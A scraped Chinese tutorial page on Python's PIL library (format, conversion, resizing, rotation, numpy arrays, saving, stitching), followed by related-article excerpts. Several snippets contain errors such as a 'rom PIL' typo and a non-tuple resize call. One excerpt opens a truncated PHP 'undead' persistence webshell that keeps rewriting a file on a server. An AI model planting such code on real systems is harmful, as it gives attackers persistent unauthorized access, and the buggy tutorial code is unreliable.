python基础 | 核心库:PIL

1、读取图像信息

查看图像信息
读取同一文件夹下的文件 可加 ./可不加

rom PIL import Image
img = Image.open('image.jpg')  # 打开图像文件(注意:是去掉文件头的纯数据)	
print(img.format)          # 图像格式(如BMP PNG JPEG 等) 
print(img.size)            # 图像大小(宽,高) 注意 省略了通道 (w,h)
print(img.mode)            # RGB      图像颜色模式(L:灰度图 RGB:真彩色 RGBA:添加了透明通道)
img.show()                 # 显示图像

运行结果
运行结果
linux里面png格式比较多,网络传输里面压缩格式 JPEG格式比较多,BMP无损格式

2、修改图像颜色

PNG有透明通道,jpeg就没有,不能变成 透明半透明;变成灰度图 减少信息,只留轮廓,去掉颜色信息
RGB一个像素点的位数占24位,L一个像素点占8位

from PIL import Image
img = Image.open('image.jpg')	
img = img.convert('L')  #转换为灰度黑白图像 -> 只保留能识别轮廓的明暗对比,
                        # 大幅减少了数据( 24位深 RGB 转8位 L)
img.show()

3、图像缩放

resize不会在原来的图像上修改,改完之后 需要 有变量存储
等比例放大缩小:等比例,注意需要是整数,所以 需要强制类型转换

from PIL import Image
img = Image.open('image.jpg')
print(img.size)
img = img.resize((32, 24),Image.ANTIALIAS)   #修改图像的宽高尺寸
print(img.size)
img.show()

# 等比例缩放
img = img.resize(int(img.size[0]/4),int(img.size[1]/4)) 
print(img.size)
img.show()

4、图像旋转 / 翻转

图像旋转

import numpy as np
from PIL import Image
img = Image.open('image.jpg')
img = img.rotate(90)  #逆时针旋转90度
img.show();

图像翻转

import numpy as np
from PIL import Image
img = Image.open('image.jpg')	
img = img.transpose(Image.FLIP_LEFT_RIGHT) #左右翻转
img.show();

5、图像转numpy(数组)

图像就是 一个矩阵,有很多像素点,每个点表示颜色,8位图 就有256种(0-255)表示颜色,色彩丰富 位数越多
一共3个维度,最后一维表示几张图叠加 RGB就是 红绿蓝 RGBA再加一个透明半透明选项(255是不透明)

灰度图就只有 高和宽,只有一个通道,是一个 二维的数组

/ 256 把值都整到0-1之间(到同一个量级,不同的信息可以做相关的运算) 归一化

import numpy as np
from PIL import Image
img = Image.open('image.jpg')
obj= np.array(img)  # 转换图像为 numpy
print(obj.shape)    # 形状:  RGB三通道 每个通道为240行*320列矩阵 来表示本通道的灰度(明暗对比) 
print(obj[0][1])    # 像素内容: 0行1列的像素点对应的R G B值

img = img.convert('L') # 转换为灰度黑白图像 -> 只保留能识别轮廓的明暗对比,大幅减少了数据( 24位深 RGB 转8位 L)
obj = np.asarray(img, dtype='float64')/256  # 转换图像为numpy ( 除以256是为了归一化,
                    # 使值都在0~1间,float64是指定数据类型保持精度)
                    # array和asarray类似,只是array会copy该对象,而asarray 必要时才copy                     
print(obj.shape)    # 形状: 只保留了1通道的灰度
print(obj[0][1])    # 像素内容:0行1列的像素点对应的灰度值 (因前面除以了256 归一化后为0~1间的数)

运行结果
运行结果

6、查看图像数据

{0:3d} 的意思是将第一个参数(索引为 0 的参数)格式化为一个占据 3 个字符宽度的整数,如果不足 3 个字符宽度则在左侧填充空格

通过numpy可以查看图片矩阵的数字

import numpy as np
from PIL import Image
img = Image.open('8.bmp')
img = img.convert('L') # 转为灰度图像(1像素 占8位)
obj= np.array(img)  # 图像转为numpy
print(obj.shape)    # (28 28)  图像矩阵形状为 28行 *28列

# 输出图像数据 -> 8字 的像素矩阵
for i in range(obj.shape[0]):
  for j in range(obj.shape[1]):
    print('{0:3d} '.format(obj[i][j]),end="")  # i:图像行号 j:图像列号 中间间隔“ ”  
  print('E')                                   # 每行末尾加一个E

7、转为 指定格式的图像存储

把图片改完之后不能直接存,先换成数组(去掉图片信息),再变成图像存储(再加上图片信息,就变成不同的格式)
第二种方式 pip install scipy 安装对应库

# 方法一:	
import numpy as np
from PIL import Image

img = Image.open('1.png')
print(img.format,img.size,img.mode)

img = img.convert('RGB')
img = img.resize((320, 240),Image.ANTIALIAS)

obj= np.array(img)
img = Image.fromarray(obj)
img.save('1.jpg')     # 把n维数组存为图像(可根据后缀,自动转换为bmp png jpg等存储)

img = Image.open('1.jpg')
print(img.format,img.size,img.mode)

# 方法二:
import numpy as np
from PIL import Image
from scipy import misc
img = Image.open('8.bmp')
img = img.convert('L')
obj= np.array(img)
misc.imsave('8_8bit.png', obj) # 把n维数组存为图像(可根据后缀,自动转换为bmp png jpg等存储)

8、图像拼接

import os
from PIL import Image
import numpy as np

def mergePic(files):
    baseimg=Image.open(files[0])
    basemat=np.atleast_2d(baseimg) # 转换图像为 至少两维的numpy
    for file in files[1:]:  # 遍历除第一个外的numpy
        im=Image.open(file)
        mat=np.atleast_2d(im)
        basemat=np.append(basemat,mat,axis=1) # 横向追加图像(axis=0时为纵向)
    img=Image.fromarray(basemat)
    img.save('merge.png')

path = "./pic/" # 注:该路径下的图像,必须是相同格式,尺寸的图像
images = [] # 先存储所有的图像的名称
for root, dirs, files in os.walk(path):
    for f in files :
        images.append(path+f)
print(images,len(images))

mergePic(images)

basemat=np.append(basemat,mat,axis=1)使用 NumPy 的 np.append() 函数将当前遍历到的图片数组沿着横轴(axis=1)方向追加到基础图像数组 basemat 后面,生成新的基础图像数组,并将其赋值给 basemat 变量。

img=Image.fromarray(basemat)使用 PIL 库的 Image.fromarray() 方法将 NumPy 数组 basemat 转换为图像对象,并将其赋值给 img 变量

images.append(path+f)将每个文件的完整路径添加到 images 列表中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/497338.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

灵动翻译音频文件字幕提取及翻译;剪映视频添加字幕

参考:视频音频下载工具 https://tuberipper.com/21/save/mp3 1、灵动翻译音频文件字幕提取及翻译 灵动翻译可以直接chorme浏览器插件安装: 点击使用,可以上传音频文件 上传后自动翻译,然后点击译文即可翻译成中文,…

【VMware Workstation】公司所有主机和虚拟机ip互通,以及虚拟机目录迁移

文章目录 1、场景2、环境3、实战3.1、所有主机和虚拟机ip互通Stage 1 : 【虚拟机】设置为桥接模式Stage 2 : 【虚拟机】设置ipStage 3 : 【路由器】ARP 静态绑定MACStage 3-1 ping 路由器 ipStage 3-2 【静态绑定】虚拟机查看mac地址Stage 3-3 【静态绑定】路由器ARP 静态绑定 …

【QT+QGIS跨平台编译】040:【geos_c+Qt跨平台编译】(一套代码、一套框架,跨平台编译)

点击查看专栏目录 文章目录 一、geos_c介绍二、文件下载三、文件分析四、pro文件五、编译实践一、geos_c介绍 GEOS_C(GEOS C++接口)是GEOS库的C语言版本,它提供了一套丰富的API,允许开发者在C++程序中执行复杂的几何形状处理和空间关系分析。GEOS_C是基于JTS(Java Topolog…

【MySQL】MySQL5.6---windows版本安装(附安装包)

期待您的关注 mysql5.6点击此处下载 提取码:gckb 我将mysql5.6-windows版本的解压包放到了上方的连接当中,如若不想使用我提供的安装包大家还可以在官方网站自行下载。 官方地址:https://dev.mysql.com/downloads/mysql/ 首先检查本地有没…

macOS 13 Ventura (苹果最新系统) v13.6.6正式版

macOS 13 Ventura是苹果电脑的全新操作系统,它为用户带来了众多引人注目的新功能和改进。该系统加强了FaceTime和视频通话的体验,同时优化了邮件、Safari浏览器和日历等内置应用程序,使其更加流畅、快速和安全。特别值得一提的是,…

量化交易软件开发定制的步骤

量化交易软件的定制开发是一个复杂而精细的过程,需要经过一系列步骤来确保最终交付的软件符合客户的需求并具有高度的可靠性和效率。以下是量化交易软件开发定制的主要步骤: 1. 需求分析与规划 在开始开发之前,首先需要与客户深入沟通&…

2.4 比较检验 机器学习

目录 常见比较检验方法 总述 2.4.1 假设检验 2.4.2 交叉验证T检验 2.4.3 McNemar 检验 接我们的上一篇《性能度量》,那么我们在某种度量下取得评估结果后,是否可以直接比较以评判优劣呢?实际上是不可以的。因为我们第一,测试…

MySQL创建表:练习题

练习题: 创建一个名为"students"的数据库,并切换到该数据库。 在"students"数据库中创建一个名为"grades"的表,包含以下字段: id: 整数类型 name: 字符串类型,学生姓名 subject: 字符串…

安全的内网通讯软件,WorkPlus定制化 IM/办公门户解决方案

如今处于数字化转型的“加速期”,政企正经历着一场数字化迭代升级的时代浪潮。而不少企业都已具备了数字化管理的意识,数字化应用场景也在全面推开。WorkPlus不断推动信息技术与企业业务深度融合,作为安全的内网通讯软件,为企业提…

uniApp使用XR-Frame创建3D场景(8)粒子系统

上篇文章讲述了如何将XR-Frame作为子组件集成到uniApp中使用 本片我们详细讲解一下xr-frame的粒子系统 先看源码 <xr-scene render-system"alpha:true" bind:ready"handleReady"> <xr-node visible"{{sec8}}"><xr-asset-load t…

JVM常见垃圾收集算法

JVM常见垃圾收集算法 标记-清除算法复制算法标记-整理&#xff08;标记压缩&#xff09;算法分代收集算法新生代和老年代分代收集算法工作机制 面试题&#xff1a;为什么分代收集算法把堆分成年轻代和老年代&#xff1f; 标记-清除算法 最基础的算法&#xff0c;分标记和清除两…

GPT-1原理-Improving Language Understanding by Generative Pre-Training

文章目录 前言提出动机模型猜想模型提出模型结构模型参数 模型预训练训练的目标训练方式训练参数预训练数据集预训练疑问点 模型微调模型输入范式模型训练微调建议微调疑问点 实验结果分析 前言 首先想感慨一波 这是当下最流行的大模型的的开篇之作&#xff0c;由OpenAI提出。…

windwos权限维持

1.php 不死马权限维持 <?php ignore_user_abort(); //关掉浏览器&#xff0c;PHP脚本也可以继续执行. set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去 $interval 5; // 每隔*秒运行 do { $filename test.php; if(file_exists($filename)) { echo…

二维双指针,滑动窗口

二维双指针 思路&#xff1a;考虑暴力做法&#xff0c;我们统计前缀和&#xff0c;然后枚举以 ( x 1 , y 1 ) (x_1,y_1) (x1​,y1​), ( x 2 , y 2 ) (x_2,y_2) (x2​,y2​)为左上&#xff0c;右下顶点的矩阵有多少是合法的&#xff0c;那么&#xff0c;这样的时间复杂度为 n 4…

UE RPC 外网联机(2)

外网联机配置测试 一、网络配置 开放外网端口开放端口是为了可以进行外网访问;端口包含一个预案管理服务器端口和多个预案服务器端口;(预案管理服务器类似于大厅,预案服务器类似于房间,大厅管理多个房间;) (1)预案管理服务器端口;(如:23001) (2)预案服务器端口…

Flutter 中的 ScrollNotification 为啥收不到

1. 需求 在做智家 APP 悬浮窗优化需求时&#xff0c;需要获取列表的滑动并通知悬浮窗进行收起或全部显示。 基础库同事已经把 基础逻辑整理好如下&#xff1a; NotificationListener<ScrollNotification>(onNotification: (notification){//1.监听事件的类型if (notif…

HCIA-Datacom H12-811 题库补充(3/28)

完整题库及答案解析&#xff0c;请直接扫描上方二维码&#xff0c;持续更新中 OSPFv3使用哪个区域号标识骨干区域&#xff1f; A&#xff1a;0 B&#xff1a;3 C&#xff1a;1 D&#xff1a;2 答案&#xff1a;A 解析&#xff1a;AREA 号0就是骨干区域。 STP下游设备通知上游…

解码“零信任”,如何带来信任感?

零信任的“信任”来源&#xff0c;并非凭空而生&#xff0c;而是建立在严格、细致且持续的验证、策略之上。它不仅能够提升企业的安全防护能力&#xff0c;也在加速安全技术的创新与演进。 推动创新 零信任理念激活网络安全 身份和访问管理革新。零信任理念“永不信任&#…

内存泄露排查流程

一、创建内存泄露案例 package com.mxl.controller;import lombok.Data; import lombok.extern.slf4j.Slf4j; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.Re…

asp.net开发中小程序端跟后端交互中的发现

小程序端wxml端代码示例&#xff1a; <button bind:tap"test">提交</button>小程序端js代码示例&#xff1a; test(){console.log(ok)wx.request({url: https://localhost:44375/lianxi01.aspx,})},asp.net端代码示例&#xff1a; cs端代码示例&#x…